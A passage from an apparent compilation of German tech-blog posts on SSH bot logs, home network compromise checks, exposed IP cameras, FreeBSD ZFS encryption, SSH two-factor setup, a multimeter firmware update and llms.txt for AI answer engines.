Wenn man mit einem System im Internet steht fummelt immer irgendein script kiddie oder bot an den Diensten herum. Oft ist hier eine IP Adresse aus China dabei. Dann probieren sie ein paar default logins und wandern weiter zur nächsten IP Adresse. Die Bots geben dem Ganzen in der Regel schon nicht mehr als drei Versuche, weil sie dann eh von irgendeinem Sicherheitssystem geblockt werden. Da es noch viele andere bots hinter anderen IP Adressen gibt, übermittelt der bot nur seinen Stand der Versuche an das Hirn des Botnetzes und der nächste, nicht geblockte bot, kommt und probiert es weiter...
Alles "kalter Kaffee"... In den letzten Wochen fallen mir zwei kleine Veränderungen auf.
[Bild: old SSH Bot](https://www.kernel-error.de/wp-content/uploads/2020/04/old-ssh-bot.jpg)
Einmal kommen diese IP Adressen noch immer stark aus China... ABER sehr oft ebenfalls von DigitalOcean (USA). Zudem fallen mir die anderen Cloudprovider auf (Google, Microsoft, AWS...). Das verschiebt sich aktuell wohl etwas. Normalerweise kommt ganz viel aus China, dann ganz viel von verschiedenen dynamischen Endkundenanschlüssen auf der Erde. Jetzt kommt ganz viel aus China, dann unglaublich nahe daran Digitalocean, direkt gefolgt von der google-cloud und microsoft-cloud. Erst jetzt kommen die Endkundenanschlüsse und mischen sich mit Adressen aus der AWS-Cloud. Scheinbar haben die Amazonjungs irgendetwas "besser" gemacht, um ihre Kunden davor zu schützen sich etwas "einzufangen"?!?
Zweitens scheint da ein Botnetz mit recht alter ssh Implementierung unterwegs zu sein. Oder es sucht halt speziell alte SSH-Server? Auf IoT Geräte mit alter Firmware tippe ich weniger, denn von diesen kommt ebenfalls etwas von Cloudanbietern. Bei denen unterstelle ich einfach mal, keine alten IoT Geräte im Einsatz zu haben, die infiziert sind. Naja... Oder es wird halt nach genau solchen Geräten gesucht. Warum alt? Weil ich so etwas in den Logs finde:
```generic
Apr 8 10:35:58 YOURMOM sshd[43201]: reverse mapping checking getaddrinfo for 4.3.2.1.serverdedicati.mum.your [1.2.3.4] failed.
Apr 8 10:35:58 YOURMOM sshd[43201]: Did not receive identification string from 1.2.3.4 port 34244
Apr 8 10:36:22 YOURMOM sshd[43202]: reverse mapping checking getaddrinfo for 4.3.2.1.serverdedicati.mum.your [1.2.3.4] failed.
Apr 8 10:36:22 YOURMOM sshd[43202]: Unable to negotiate with 1.2.3.4 port 36160: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
Apr 8 10:36:42 YOURMOM sshd[43204]: reverse mapping checking getaddrinfo for 4.3.2.1.serverdedicati.mum.your [1.2.3.4] failed.
Apr 8 10:36:42 YOURMOM sshd[43204]: Unable to negotiate with 1.2.3.4 port 39556: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
```
Wie ist das bei euch?
---
## 34. Ist mein Netzwerk kompromittiert? Warum das kaum jemand merkt
**Veröffentlicht:** 2025-12-19
**Permalink:** https://www.kernel-error.de/2025/12/19/ist-mein-netzwerk-kompromittiert-warum-das-kaum-jemand-merkt/
**Description:** Wie erkennt man als Privatanwender kompromittierte Systeme im eigenen Netzwerk? Warum Firewalls, Virenscanner und IDS oft trügerisch sind.
Ich habe ja bereits etwas zum Thema [IoT-Geräte](https://www.kernel-error.de/2025/11/17/iot-geraete-als-einfallstor-warum-kameras-co-haeufiger-kapert-werden-als-viele-denken/) geschrieben und warum diese oft deutlich schneller gehijackt werden, als man vielleicht erwartet.
Aber woher weiß man nun als normaler Anwender, ob zu Hause oder im eigenen Netzwerk etwas sein Unwesen treibt?
Nun ja; das ist leider überhaupt nicht so einfach.
[[Bild: Symbolische Darstellung eines kompromittierten Netzwerks mit Warnhinweisen, IoT-Kamera und verdächtigem Datenverkehr.](https://www.kernel-error.de/wp-content/uploads/2025/12/netzwerk-kompromitiert.png)](https://www.kernel-error.de/wp-content/uploads/2025/12/netzwerk-kompromitiert.png)
Klar, man kann sich ganz tolle [IPS](https://de.wikipedia.org/wiki/Intrusion_Prevention_System) oder [IDS](https://de.wikipedia.org/wiki/Intrusion_Detection_System) aufbauen. Es gibt dafür auch Open-Source-Systeme; [Snort](https://de.wikipedia.org/wiki/Snort) fällt mir da als einer der älteren Vertreter als erstes ein.
Aber das alles ist nichts für den normalen Anwender oder den Privathaushalt. Dann gibt es noch ganz furchtbar viele Schlangenölanbieter mit ihrer „Sicherheitssoftware“ für Windows, Android und Co. Klar, man kann dort Firewall, Virenscanner usw. installieren. Aber hilft das wirklich? Jein, würde ich dazu sagen.
Ist man auf einem aktuellen Patchstand, sollten zumindest die bekannten Löcher geschlossen sein. Dann bleiben fast nur noch [Zero-Day-Lücken](https://de.wikipedia.org/wiki/Sicherheitsl%C3%BCcke#Zero-Day) Ein Virenfilter kennt diese in der Regel auch nicht und lässt so etwas dann schlicht durch.
Eine Firewall-Lösung kann zumindest erkennen, ob plötzlich ungewöhnlicher Traffic unterwegs ist oder ob versehentlich gestartete Dienste nach außen offen stehen. Nur steht und fällt das Ganze oft genau in dem Moment, in dem der Anwender nach einer Entscheidung gefragt wird.
Sicherheitssoftware muss naturgemäß sehr tief im Betriebssystem eingebettet werden. Hat diese Sicherheitssoftware dann selbst Sicherheitslücken, was deutlich häufiger vorkommt, als man zunächst glauben möchte, öffnet man im Zweifel die eigene Infrastruktur über genau die Software, die das eigentlich verhindern soll. Vertraut mir da bitte einfach, wenn ich sage, dass ich das schon sehr oft gesehen habe. Zudem installiert sich so eine Sicherheitssoftware oft nicht einfach auf einer Netzwerkkamera ;-)
Der beste Schutz sind, meiner Meinung nach, noch immer gepflegte Systeme, gute Zugangsdaten und das nötige Misstrauen. Wie kam ich jetzt darauf? Ach richtig; wie findet man eigentlich heraus, ob es überhaupt ein Problem gibt?
Klar, man kann abwarten. Irgendwann merkt man es sicher; spätestens dann, wenn die Polizei mit einer Hausdurchsuchung vor der Tür steht und wissen möchte, was man denn da so alles im Internet verteilt oder angreift.
Eine wirklich gute Lösung habe ich da leider auch nicht. Am ehesten noch Dienste wie [GreyNoise (https://check.labs.greynoise.io/)](https://check.labs.greynoise.io/). Dort kann man beispielsweise gegen AbuseDB prüfen, ob die eigene IPv4-Adresse irgendwo im Internet „auffällig“ geworden ist; etwa durch Portscans, Spam-Versand oder Malware-Traffic. Ebenfalls kann man hin und wieder bei [Have I Been Pwned (https://haveibeenpwned.com/)](https://haveibeenpwned.com/) vorbei schauen, um zu prüfen, ob die eignen Zugangsdaten irgendwo gefunden wurden.
Im Allgemeinen ist aber auch das nur ein Indiz. IP-Adressen wechseln; vor allem bei privaten Anschlüssen. Die eigene IP muss erst auffallen, gemeldet werden und so weiter.
Aber hey; vielleicht hat ja noch jemand einen besseren Tipp?
---
## 35. IP-Kameras: Risiken, Portfreigaben (RTSP/HTTP) & Checks
**Veröffentlicht:** 2025-10-30
**Permalink:** https://www.kernel-error.de/2025/10/30/ip-kameras-risiken-portfreigaben-rtsp-http-checks/
**Description:** Praktische Hinweise zu offenen IP-Kameras: Risiken durch RTSP/HTTP, UPnP/DNAT-Fallen und wie du mit einem kleinen Python-Tool deine eigene Kamera prüfst.
Moin, ich mag noch einmal etwas zu IP-Überwachungskameras schreiben. Ihr erinnert euch vielleicht an meinen letzten [Beitrag zu diesem Thema KLICK](https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/).
[Bild: article image of ip cameras](https://www.kernel-error.de/wp-content/uploads/2025/10/ip-kameras.png)
Dort habe ich mich speziell auf den RTSP-Port bezogen und auch [https://www.shodan](https://www.shodan.io/)[.](https://www.shodan.io/)[io/](https://www.shodan.io/) als Beispiel genannt. Shodan scannt unaufhörlich IPv4-Adressen (bei IPv6 wäre ein flächendeckender Scan kaum praktikabel) und stellt seine Ergebnisse öffentlich zur Verfügung. Sicherheitsforscher — aber leider auch Menschen mit schlechten Absichten — bedienen sich solcher Dienste, um Informationen über Systeme hinter einer IPv4-Adresse zu bekommen, ganz ohne selbst groß zu scannen oder zu testen. Grob gesagt: Google für „Hacker“.
Dass IP-Kameras — vor allem günstige oder ältere Modelle — schnell ein [Sicherheitsrisiko](https://www.kernel-error.de/2025/11/17/iot-geraete-als-einfallstor-warum-kameras-co-haeufiger-kapert-werden-als-viele-denken/) darstellen, habe ich schon erwähnt; wer das hier liest, weiß es in der Regel auch. Automatische Portfreigaben in Kombination mit solchen Kameras sind oft problematisch. Wenn ich über so etwas stolpere und ohne großen Aufwand den Betreiber ausfindig machen kann, versuche ich jeweils per E-Mail oder einem kurzen Anruf zu warnen. Das stößt mal auf offene Ohren, manchmal wird es komplett ignoriert (manchmal mit Abschalten des öffentlichen Zugriffs, manchmal ohne); selten kommt die Antwort „Anzeige ist raus“.
Kameras filmen oft sensible Bereiche, sowohl innen als auch außen. Das kann viele Probleme mit sich bringen, wenn diese Informationen einfach öffentlich zugänglich sind. Anders als bei Datei-Freigaben scheint bei Kamerastreams noch nicht die nötige Awareness vorhanden zu sein — genau deshalb informiere ich hier und weise darauf hin.
Es ist nicht nur der RTSP-Stream, der sich häufig per UPnP seinen Weg nach draußen „tunnelt“. Oft werden auch per DNAT / Portfreigabe / Portweiterleitung die Webinterfaces der Kameras direkt aus dem Internet erreichbar gemacht. Im schlimmsten Fall kann man also mit dem Browser direkt auf Webinterface und Stream zugreifen. Viele sichern den Zugriff mit der kameraeigenen Anmeldung — das ist schon mal ein Anfang. Leider reicht das nicht immer: Bei manchen Modellen sind Funktionen wie Snapshots oder einzelne JPEG-Endpoints weiterhin ohne Anmeldung erreichbar. Das ist auf den ersten Blick nicht sichtbar — kennt man aber die entsprechende URL, genügt ein Browseraufruf und man sieht wieder alles.
Deshalb gebe ich immer den Rat: Zugriff lieber hinter ein VPN legen und niemals direkt offen ins Internet. Gebt jedem Gerät und jedem Dienst, den ihr aus dem Internet erreichbar macht, mindestens so viel Vertrauen wie eurer Haustür. Und prüft regelmäßig, ob dieses Vertrauen noch gerechtfertigt ist.
Wer selbst prüfen möchte, ob die EIGENE Kamera trotz eingerichteter Anmeldung noch irgendwie ohne Login zugänglich ist, kann mein kurzes Python-Tool nutzen: [https://github.com/Kernel-Error/cam_probe](https://github.com/Kernel-Error/cam_probe)
Denkt also bitte einmal darüber nach, ob ihr allem, was ihr direkt mit dem Internet verbunden habt, mindestens das gleiche Vertrauen entgegenbringt wie eurer Haustür oder Wohnungstür. Denkt an die *security.txt* und daran, dass, wenn sich jemand die Mühe macht, euch über ein solches Problem zu informieren, diese Person damit wahrscheinlich den größten Aufwand und auch das größte Risiko für sich selbst aufnimmt – nur, um euch auf ein Problem hinzuweisen.
Einen solchen Fund zu ignorieren, zu verkaufen oder sonst wie auszunutzen, ist deutlich einfacher, als den Betreiber zu informieren.
Natürlich gibt es auch hier schwarze Schafe, aber die Vertrauenswürdigkeit einer solchen Nachricht lässt sich meist schnell per Google oder auch ChatGPT prüfen.
Frage? Dann fragen. :)
---
## 36. FreeBSD: Native ZFS Encryption einrichten und nutzen
**Veröffentlicht:** 2019-04-19
**Permalink:** https://www.kernel-error.de/2019/04/19/freebsd-und-native-zfs-encryption/
**Description:** Erfahre, wie du die native ZFS Encryption auf FreeBSD einrichtest und nutzt, um deine Daten sicher zu verschlüsseln. Schritt-für-Schritt-Anleitung für...
FreeBSD portierte bisher seinen ZFS Zweig von Illumos. Dieses wechselt nun zu [ZFS on Linux](https://www.golem.de/news/dateisystem-freebsd-will-fuer-zfs-auf-code-von-linux-port-wechseln-1812-138351.html). Was es für mich so spannend macht ist der Verschlüsselungssupport. ZFS on Linux bietet diesen bereits und somit wird er wohl auch bald für FreeBSD zur Verfügung stehen :-)
Gerade eben lese ich eine E-Mail von Kris Moore auf der [FreeBSD-Current Mailingliste](https://docs.freebsd.org/cgi/getmsg.cgi?fetch=57310+0+current/freebsd-fs). In der E-Mail werden zwei ISO Images genannt welche es ermöglichen FreeBSD mit ZFS on Linux zu testen. \o/ Natürlich ist es nicht die Version welche am Ende "drin" sein wird und es ist nichts was man auch nur im Ansatz produktiv einsetzten kann/sollte. ABER testen soll man es ja und ich möchte unbedingt mal die Verschlüsselung sehen!
Daher habe mich mir die gepatchte FreeBSD13 Version einmal herunter geladen: [https://pkg.trueos.org/iso/freebsd13-zol/FreeBSD13-ZoL-20190418-x64.iso](https://pkg.trueos.org/iso/freebsd13-zol/FreeBSD13-ZoL-20190418-x64.iso)
[Zuletzt habe ich den Einsatz unter Solaris beschrieben](https://www.kernel-error.de/2019/04/19/freebsd-und-native-zfs-encryption/). Nun also einmal ganz kurz und knapp in FreeBSD :-)
Erstellen eines neuen Datasets:
```generic
root@freebsd13-zol:~ # zfs create -o encryption=aes-256-gcm -o keyformat=passphrase usbpool/test01
Enter passphrase:
Re-enter passphrase:
```
Als Art der Verschlüsselung habe ich hier aes-256-gcm gewählt und der Schlüssel soll als passphrase von mir eingegeben werden. Nachdem ich mein passphrase eingegeben habe wird das neue Dataset erstellt und direkt für mich ein gehangen, wie man es gewohnt ist:
```generic
root@freebsd13-zol:~ # zfs list usbpool/test01
NAME USED AVAIL REFER MOUNTPOINT
usbpool/test01 99K 899G 99K /usbpool/test01
root@freebsd13-zol:~ # zfs get encryption usbpool/test01
NAME PROPERTY VALUE SOURCE
usbpool/test01 encryption aes-256-gcm -
root@freebsd13-zol:~ # zfs get mounted usbpool/test01
NAME PROPERTY VALUE SOURCE
usbpool/test01 mounted yes -
```
Da ein passphrase von mir jeweils eingegeben werden muss, kann dieses Dataset bei einem reboot oder impot/export nicht automatisch eingehangen werden.
```generic
root@freebsd13-zol:~ # zpool export usbpool
root@freebsd13-zol:~ # zpool import usbpool
root@freebsd13-zol:~ # zfs get mounted usbpool/test01
NAME PROPERTY VALUE SOURCE
usbpool/test01 mounted no -
```
Daher muss ich dieses von Hand anstoßen.
```generic
root@freebsd13-zol:~ # zfs mount -l usbpool/test01
Enter passphrase for 'usbpool/test01':
root@freebsd13-zol:~ # zfs get mounted usbpool/test01
NAME PROPERTY VALUE SOURCE
usbpool/test01 mounted yes -
```
Genau so habe ich es mir gewünscht. Schnell, einfach und unkompliziert. Ob es ebenfalls über Snapshots send/recv und mit Keyfiles usw. so arbeitet wie ich es mir wünsche, werde ich nun probieren können!
Ein verschlüsseltes Dataset anlegen zu können, erfreut mich aber jetzt schon sehr!
Fragen? Dann fragen :)
---
Update
Um Fragen zu beantworten. Ja, die [Userland Tools](https://www.freshports.org/sysutils/zol/) und das [Kernelmodul](https://www.freshports.org/sysutils/zol-kmod/) sind bereits in den Ports. Will man es auf einem FreeBSD 12.x RELEASE bauen funktioniert dieses nicht:
```generic
root@test:/usr/ports/sysutils/zol-kmod # make install clean
===> zol-kmod-2019041800 needs FreeBSD 12/13 with AES-CCM support.
*** Error code 1
Stop.
make: stopped in /usr/ports/sysutils/zol-kmod
```
Es funktioniert sauber mit FreeBSD 13 CURRENT und dem FreeBSD 12 STABLE. CURRENT ist bei FreeBSD immer die nächste Version. Die RELEASE Versionen sind die stabilen Versionen welche auch nur noch Security und Bugfixes bekommen. Die STABLE Verstion bekommt zudem noch "Veränderungen" mit. Ganz grob kann man es also mit Stable, Testing, Unstable bei Debian vergleichen :-)
Der AES-CCM Support ist also nur in FreeBSD 13 CURRENT und in FreeBSD 12 STABLE im Kernel aktiviert. Man kann also nun zum Testen auf die 13 wechseln, auf die 12 Stable gehen, auf das nächste RELEASE warten, seinen Kernel neu bauen oder eines der ISOs oben probieren. Jetzt ist auch klar, warum ich die ISOs so empfehlenswert fand/finde :-D Vor allem da das FreeBSD 12 ISO das FreeBSD 12.0-RELEASE-p3 ist und man so schon seine Produktivumgebung testen kann!
---
## 37. FreeBSD SSH-Server absichern: MFA mit Google Authenticator einrichten
**Veröffentlicht:** 2024-03-29
**Permalink:** https://www.kernel-error.de/2024/03/29/freebsd-ssh-server-mit-mfa-2fa/
**Description:** Anleitung zur Einrichtung von Multi-Faktor-Authentifizierung auf FreeBSD-SSH-Servern mit Google Authenticator. Erhöhe die Sicherheit deines Systems.
Dass man eigentlich keinen reinen Kennwort-Login für seine Anmeldung an einem SSH-Server haben möchte, ist sicherlich bei fast allen angekommen. Kennwörter lassen sich einfacher mittels eines Brute-Force-Angriffes herausfinden. Ebenso gehen diese auch mal verloren. SSH-Keys werden die meisten ebenfalls bereits aufseiten des Clients mit einem zweiten Faktor geschützt haben. Dies kann ein MFA-Token sein oder einfach eine Passphrase.
Hin und wieder lässt es sich aber nicht vermeiden, dass man seinen Login nur mit einer einfachen Kombination aus Benutzername und Kennwort sichert. Um dieses dennoch etwas aufzuwerten, lässt sich dieses ebenfalls mit MFA ausstatten. In diesem kurzen Beispiel geht es dabei um einen SSH-Server auf einem FreeBSD-System, welches nach der Authentifizierung mittels Benutzername/Kennwort noch nach einem Auth-Code vom Google Authenticator fragt.
Clientseitig ist eigentlich nichts weiter zu beachten. Auf Serverseite muss das Paket **pam_google_authenticator** installiert werden:
```bash
pkg install pam_google_authenticator
```
Ist die Installation abgeschlossen, müssen wir nun unsere PAM-Konfiguration für den SSHD-Password-Login erweitern. Oh, ja… Auf demselben Weg lässt sich dieses ebenfalls für den normalen Login an der Konsole, für su, ftp usw. einbinden. Selbstverständlich ebenfalls für den Login per SSH-Keys. Wir bleiben aber hier nun beim Login mit User/Pass. Meine **/etc/pam.d/sshd** sieht damit wie folgt aus:
```raw
#
#
# PAM configuration for the "sshd" service
#
# auth
#auth sufficient pam_krb5.so no_warn try_first_pass
#auth sufficient pam_ssh.so no_warn try_first_pass
auth required pam_unix.so no_warn try_first_pass
auth required /usr/local/lib/pam_google_authenticator.so
# account
account required pam_nologin.so
#account required pam_krb5.so
account required pam_login_access.so
account required pam_unix.so
# session
#session optional pam_ssh.so want_agent
session required pam_permit.so
# password
#password sufficient pam_krb5.so no_warn try_first_pass
password required pam_unix.so no_warn try_first_pass
```
Ebenfalls muss die folgende Option in der **/etc/ssh/sshd_config** aktiviert sein:
```raw
ChallengeResponseAuthentication yes
```
Das war es auch schon fast. Wenn man nun auf seinem Smartphone noch schnell den [Google Authenticator](https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=de&gl=US) installiert, können wir schon damit beginnen, den zweiten Faktor zu erstellen. Dafür einfach mit dem gewünschten Nutzer in dessen Home-Verzeichnis: "**cd ~**" den **google-authenticator** aufrufen und den Anweisungen folgen:
Dieses nur noch mit der Authenticator-App am Smartphone scannen, den Code einmal eingeben und schon wird man bei jedem Kennwort-Login nach seinem aktuellen Code gefragt.
Oh, sehr ähnlich ist die Einrichtung unter Linux :-)
---
## 38. OWON XDM1041: Firmware V4.7.0 (20220913) – Update-Dateien und Vorgehen
**Veröffentlicht:** 2026-01-08
**Permalink:** https://www.kernel-error.de/2026/01/08/owon-xdm1041-firmware-v4-7-0-20220913-update-dateien-und-vorgehen/
**Description:** Firmware-Update für das OWON XDM1041 Multimeter: Download der aktuellen Version V4.7.0, Inhalt des Firmware-Pakets und Erfahrungen beim Update.
Ich nutze das [digitale Multimeter OWON XDM1041](https://s.click.aliexpress.com/e/_c4OR0ugT).
Preis-Leistung passt für mich sehr gut. Das Gerät lässt sich per USB mit dem PC verbinden, Messwerte können ausgelesen und aufgezeichnet werden. Für meine Elektronik-Projekte an der Werkbank bringt es alles mit, was ich brauche.
[[Bild: Image of OWON XDM1041 digital multimeter with firmware version V4.7.0 (20220913)](https://www.kernel-error.de/wp-content/uploads/2026/01/OWON-XDM1041-digital-multimeter-firmware-update.jpg)](https://www.kernel-error.de/wp-content/uploads/2026/01/OWON-XDM1041-digital-multimeter-firmware-update.jpg)
Die Herstellersoftware funktioniert, ist aber klar auf Windows fokussiert. Unter Linux nutze ich stattdessen RustyMeter, eine saubere Alternative: [https://github.com/markusdd/rusty_meter](https://github.com/markusdd/rusty_meter)
Mein [XDM1041](https://s.click.aliexpress.com/e/_c4OR0ugT) lief zunächst mit der Firmware V3.3.0. Auf der [OWON-Webseite](https://www.owon.com) findet sich aktuell jedoch kein Firmware-Download für dieses Gerät. Nach Kontakt mit dem Support per E-Mail hat mir OWON freundlicherweise die aktuellste Firmware (Stand: 08.01.2026) zur Verfügung gestellt: XDM10412212508.zip (MD5 509766ba23eb008f32f60a82cddca08b)
Das ZIP-Archiv enthält:
- eine [PDF-Anleitung](https://www.kernel-error.de/download/upgrade-stepsXDM10412212508.pdf)
- USB-Treiber für Windows
- die Software *DS Wave* zum Einspielen der Firmware
- die beiden Firmware-Dateien:
`OS--XDM1041_OS_V4.7.0_20220913.bin`
- `TX-2212508.bin`
Das Firmware-Update selbst ist unkompliziert und funktioniert exakt wie in der Anleitung beschrieben. Nach dem Update läuft das Gerät mit Firmware V4.7.0, im Display angezeigt als 20220913.
Der ursprüngliche Download von OWON war leider sehr langsam, brach mehrfach ab und erzeugte wiederholt TLS-Fehler. Ob das an Routing-Problemen oder an der sprichwörtlichen „[chinesischen Mauer](https://de.wikipedia.org/wiki/Internetzensur_in_der_Volksrepublik_China)“ liegt, lässt sich schwer sagen.
Natürlich habe ich ebenfalls gefragt, ob ich das Firmware Update hier zum Download anbieten kann. Das geht aber leider nicht, denn es scheint jeweils für gewisse Geräte unterschiedliche zu geben:
```generic
Dear,
We can’t share the firmware updates as each one is exclusive to a specific device and not cross-compatible.
```
Ihr müsst also jeweils selbst auf den Support zugehen, E-Mail hat für mich gut funktioniert. Ich habe noch nach einem Kontakt über WeChat gefragt und nach einem Changelog. Sollte ich etwas bekommen, ergänze ich es hier.
Viel Erfolg beim Firmware-Update.
---
## 39. Von SEO zu AEO: Warum llms.txt, JSON-LD und Answer Engines das Web verändern
**Veröffentlicht:** 2026-01-01
**Permalink:** https://www.kernel-error.de/2026/01/01/von-seo-zu-aeo-warum-llms-txt-json-ld-und-answer-engines-das-web-veraendern/
**Description:** SEO verliert an Bedeutung. AEO, llms.txt und strukturierte Daten bestimmen, wie AI Webseiten versteht. Technische Einordnung, Beispiele und Praxis.
In den letzten Jahren war SEO, also *Search Engine Optimization*, für viele Webseitenbetreiber unglaublich wichtig. Man möchte schließlich, dass Suchmaschinen wie Google, Bing oder Yahoo Besucher auf die eigene Webseite bringen. Dafür will man möglichst weit oben in den Suchergebnissen auftauchen. Hat man viele Besucher, kann man Produkte besser verkaufen, Werbeflächen teurer anbieten oder mehr Dienstleistungen absetzen. Das ist nicht neu.
[[Bild: Schematische Darstellung des Übergangs von Suchmaschinen-SEO zu AI-basierten Answer Engines mit llms.txt und JSON-LD.](https://www.kernel-error.de/wp-content/uploads/2026/02/seo-aeo-1024x683.png)](https://www.kernel-error.de/wp-content/uploads/2026/02/seo-aeo.png)
Manche erinnern sich vielleicht noch an die Gelben Seiten. Dort standen bestimmte Unternehmen in ihrer Branche ganz oben – nicht, weil sie besonders gut waren, sondern weil das Verzeichnis alphabetisch sortiert war. Wer mit „AAA“ anfing, war automatisch sichtbar. SEO ist im Grunde nichts anderes, nur technisch komplexer.
Über die Jahre ist SEO damit Stück für Stück zu einem eigenen Geschäftsfeld geworden. Ganze Agenturen leben davon, Suchmaschinen zufriedenzustellen. Diese Logik gerät gerade ins Wanken. AI verändert das Spiel spürbar.
Jeder von uns hat vermutlich schon bemerkt, dass bei vielen Suchmaschinen inzwischen **zuerst eine AI-Antwort erscheint**. Viele Fragen werden gar nicht mehr klassisch „gesucht“, sondern direkt in ein LLM – ein *Large Language Model* – eingegeben. Fragen wie:
„Wer war Bundespräsident in Deutschland zur Wiedervereinigung?“ oder
„Bester Gebrauchtwagenhändler in der Nähe von Bonn?“
werden sofort beantwortet.
Online-Suche entwickelt sich immer mehr zu einer Frage-Antwort-Interaktion mit einer AI. Es kommt damit weniger darauf an, ob man der *Google First Hit* ist, sondern darauf, **ob man aus Sicht der AI die beste Antwort liefert**.
Und genau hier verschiebt sich der Fokus.
Damit eine AI eine passende Antwort geben kann, muss der Inhalt **maschinenverständlich** aufbereitet sein. Lange, erklärende Fließtexte – wie dieser hier – sind dafür eher ungeeignet. Für AIs funktionieren klar strukturierte Informationen deutlich besser. FAQ-Formate, Frage-Antwort-Paare, saubere Metadaten.
Dinge wie **JSON-LD** bringen Struktur hinein. Autoren, Inhalte, Organisationen und Beziehungen lassen sich eindeutig beschreiben und verknüpfen. Dazu kommen neue Konzepte wie `llms.txt` oder `llms-full.txt`. Diese Dateien enthalten **keinen SEO-Text**, sondern eher eine Art Bedienungsanleitung für Maschinen:
Was ist diese Webseite?
Wie ist sie aufgebaut?
Welche Inhalte sind relevant?
Was darf genutzt werden – und was nicht?
Zusammen mit strukturierten Daten bildet das eine solide Basis, damit AI-Systeme Webseiten einordnen, bewerten und korrekt referenzieren können.
Nun ein kurzer, aber wichtiger Exkurs.
AIs müssen trainiert werden. Dieses Training passiert auf großen Datensätzen, den sogenannten Trainingsdaten. Wird eine AI neu trainiert, greift sie oft wieder auf **das gleiche Datenmaterial** zurück. Das ist nicht zwangsläufig aktuell.
Fragt einfach einmal eure AI des Vertrauens, von wann ihre Trainingsdaten stammen. Die freie Version von ChatGPT sagt mir aktuell, dass sie auf Daten bis Oktober 2024 basiert. Das bedeutet ganz grob: Alles danach ist unbekannt.
Fragt man also, wer aktuell Bundeskanzler von Deutschland ist, bekommt man Olaf Scholz als Antwort. Gleichzeitig „weiß“ die AI aber, dass wir inzwischen 2026 haben und dass sich theoretisch etwas geändert haben könnte. Ohne Zugriff auf aktuelle Informationen bleibt sie trotzdem bei dem alten Stand.
Freie Modelle können meist **keine Live-Recherche** durchführen. Bezahlte Modelle hingegen kombinieren ihr gelerntes Wissen zunehmend mit eigenen Online-Suchen. Sie gleichen Informationen ab, aktualisieren und korrigieren.
Das klingt logisch – ist aber teuer.
Online-Recherche kostet Zeit, Rechenleistung und Geld. Genau deshalb findet man solche Funktionen fast ausschließlich in kostenpflichtigen Angeboten. Betreiber müssen ständig den Sweet Spot zwischen Antwortqualität, Antwortzeit und Gewinnmaximierung finden.
Und genau hier wird es interessant.
Wenn eine AI Informationen **bereits strukturiert kennt**, wenn Beziehungen und Metadaten schon im Trainingsmaterial vorhanden sind, muss sie deutlich weniger nachrecherchieren. Inhalte lassen sich schneller bewerten, aktualisieren und in Antworten einbauen.
An dieser Stelle kommen wir zu **AEO – Answer Engine Optimization**.
AEO ist im Grunde die Weiterentwicklung von SEO für AI-basierte Antwortsysteme. Statt Suchmaschinen zu optimieren, optimiert man Inhalte für Antwortmaschinen. In diesem Zusammenhang wird seit etwa zwei Jahren verstärkt über `llms.txt` und `llms-full.txt` gesprochen.
Diese Dateien sind **nicht für Menschen gedacht**. Sie sind nicht für Suchmaschinen optimiert und sollen auch nicht schön sein. Sie sind rein maschinell. Zusammen mit JSON-LD liefern sie AI-Systemen genau das, was sie brauchen: Struktur, Kontext, Beziehungen und Einordnung.
Ein wichtiger Punkt dabei: **llms.txt ersetzt keine Inhalte**. Sie erklärt sie.
Wo liegen diese Dateien nun?
Ganz pragmatisch:
Im Root der Webseite.
Also zum Beispiel:
- [https://www.kernel-error.de/llms.txt](https://www.kernel-error.de/llms.txt)
- [https://www.kernel-error.de/llms-full.txt](https://www.kernel-error.de/llms-full.txt)
Alternativ – technisch ebenfalls sauber – unter:
- /.well-known/llms.txt
Beides funktioniert. Wichtig ist nur, dass der Pfad stabil, öffentlich erreichbar und nicht blockiert ist.
Zusätzlich kann man diese Dateien auch **extern bekannt machen**. Es gibt inzwischen erste [Verzeichnisse und Hubs](https://llmstxthub.com/websites/kernel-error-llms-txt), die solche Dateien sammeln und auffindbar machen. Dort geht es weniger um Ranking, sondern um Auffindbarkeit für Systeme, die gezielt nach strukturierten Quellen suchen.
Ob das langfristig relevant bleibt, weiß niemand. Aber auch hier gilt: Sichtbarkeit schadet nicht.
Eine weitere Frage taucht fast immer auf:
Kann man `llms.txt` über die `robots.txt` einbinden?
Kurzfassung: Ja – aber nicht als Zwang, sondern als Hinweis.
Die `robots.txt` ist historisch für Crawler gedacht. Sie regelt Zugriffe, nicht Metadaten. Trotzdem hat sie sich über die Jahre zu einer Art maschineller Einstiegspunkt entwickelt. Dinge wie `Sitemap:` waren auch einmal nur Konvention.
Ein Beispiel:
```generic
User-agent: *
Allow: /
Sitemap: https://www.example.org/sitemap.xml
LLMS: https://www.example.org/llms.txt
LLMS-Full: https://www.example.org/llms-full.txt
```
Diese Direktiven sind **kein Standard**. Google ignoriert sie. Bing vermutlich auch. Aber experimentelle Crawler, AI-Agenten oder eigene Indexer können sie sehr einfach auswerten.
Oh, und genau das erinnert mich an frühere Zeiten.
Interne Crawler, Security-Scanner, selbstgeschriebene Discovery-Tools – all das begann oft mit nicht standardisierten Hinweisen. Erst ignoriert, später übernommen, irgendwann vielleicht formalisiert. Oder auch nicht. Das Internet ist in dieser Hinsicht erstaunlich pragmatisch.
Wichtig ist nur, realistisch zu bleiben:
- `robots.txt` ist keine Zugriffskontrolle
- sie garantiert keine Nutzung durch eine AI
- sie ersetzt nicht die Datei im Root
Aber sie ist ein zusätzliches, maschinenlesbares Signal – und kostet praktisch nichts.
Wenn man das alles zusammennimmt, zeichnet sich ein klares Bild ab. Werbung wandert langsam von Webseiten in LLM-Chats. Webseiten entwickeln sich weg von langen Erklärungstexten hin zu strukturierten Wissensbausteinen. SEO rückt in den Hintergrund. Klassische Blogs – auch dieser hier – werden langfristig seltener werden.
Ist das schlimm?
Nein.
Es ist einfach der nächste logische Schritt. Als ich angefangen habe, gab es BTX, Usenet, Foren und Chatrooms. Das meiste davon ist verschwunden. Für viele Menschen besteht das Internet heute aus YouTube, Instagram, Meta, X oder TikTok – zentralisierte, leicht konsumierbare Dienste einzelner Unternehmen.
